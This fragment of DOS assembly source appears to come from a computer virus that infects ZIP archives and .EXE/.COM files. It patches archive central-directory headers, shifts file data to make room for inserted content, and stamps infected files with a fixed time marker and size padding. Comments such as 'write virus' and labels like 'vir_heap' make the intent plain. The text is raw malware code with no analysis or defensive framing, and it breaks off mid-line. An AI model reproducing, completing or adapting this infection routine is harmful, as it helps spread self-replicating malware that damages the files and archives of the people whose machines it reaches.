cmp word ptr [ziphdr.zip_centr_sign_.hi], ZIP_END_ID
jne error_exit1
call dosseek_cur_neg_ax ; seek_cur(-sizeof(zip_centr_header))
inc [ziphdr.ttl_num_of_ent_on_this_disk]
inc [ziphdr.ttl_num_of_ent_in_the_cent_dir]
add [ziphdr.size_of_the_central_directory.lo], size zip_central_header
mov ax, [fnamesize]
cwd ;DX := 0
add [ziphdr.size_of_the_central_directory.lo], ax
adc [ziphdr.size_of_the_central_directory.hi], dx
add ax, [fisize] ;[zip_compressed_size.lo]
add ax, SIZE zip_local_header
add [ziphdr.off_of_strt_of_cent_directory.lo], ax
adc [ziphdr.off_of_strt_of_cent_directory.hi], dx
mov cx, SIZE zip_end_header
call DosWrite_shbuf ;write zip_end_header
cmp dx, bp ;zf=0
call create_zip ; create_centr_header
mov dx, -SIZE zip_end_header ;-16
call dosseek_cur_cx_1
mov cx, SIZE zip_central_header
----------------------------------------------------------------------------
%NOINCL
.SALL
shift_buffer_size = 13h
pblabel f_insert_hdr
add cx, [fnamesize]
pblabel f_insert_hdr_wirhout_fname
LEA si, [vir_heap._crthdr]
pblabel f_insert
push dx ax
push cx ; insert_size
xor cx,cx ; cx := 0
sub ax, HDRBUFSIZE
sbb dx, cx
mov [beg_pos.hi], dx
mov [beg_pos.lo], ax
dec cx ; cx := -1
mov dx, - HDRBUFSIZE
mov al, 2 ; seek_end ( - shift_buffer_size )
call DosSeek_all
DO
call read_buf_22 ; read ( shift_buffer, shift_buffer_size )
pop dx ; seek_cur ( insert_size - shift_buffer_size )
push dx
sub dx, HDRBUFSIZE ; sub dx,ax (?)
call dosseek_cur_cx_0
call DosWrite_shbuf_22 ; write ( shift_buffer, shift_buffer_size )
pop dx ; seek_cur ( - insert_size - 2*shift_buffer_size )
push dx
add dx, HDRBUFSIZE*2
call dosseek_cur_neg_dx ; #### DX:AX=curpos
cmp dx, [beg_pos.hi]
REPEAT A
cmp ax, [beg_pos.lo]
CYCLE A
-+--------+- seek for write -+--------+-
pop ax ; insert_size
pop dx cx
push ax
call dosseek
mov dx, si
pop cx
call DosWrite
jmp dostell
----------------------------------------------------------------------------
shift_buffer_size = 22h
----------------------------------------------------------------------------
pblabel sto_fnamesize_20
mov ax, 20h
add ax, [fnamesize]
stosw
ret
----------------------------------------------------------------------------
----------------------------------------------------------------------------
pblabel store_fisize
xor dx, dx
sto_word_ <[fisize]> ;.filesize
xchg dx, ax
pblabel st_dx_0
stosw ;d;hdr crc
xchg ax, dx
pblabel stosw_sto_0
stosw
sto_word 0
ret
----------------------------------------------------------------------------
----------------------------------------------------------------------------
pblabel create_dtim
call stosw_sto_0
pblabel create_dtim1
sto_word TIMEMARKER ;time = const TIMEMARKER
sto_word_ <[host_arx_date]>
ret
----------------------------------------------------------------------------
pblabel write_sizemarker
write garbage
lea di, [heap] ;from heap
mov ax, SIZEMARKER+SIZEMARKER_MOD
CALL SHIT_AX
;write virus
call seek_end ;dx:ax - file size
xor dx, dx
mov cx, SIZEMARKER
div cx
sub cx, dx
add cx, SIZEMARKER_MOD
jmp doswrite_from_heap
----------------------------------------------------------------------------
xEXE db '.EXE'
xCOM db '.COM'
pblabel hdrs
CRC32w <'P','K','',''> ;ZIP
CRC32w < ptr ($-2)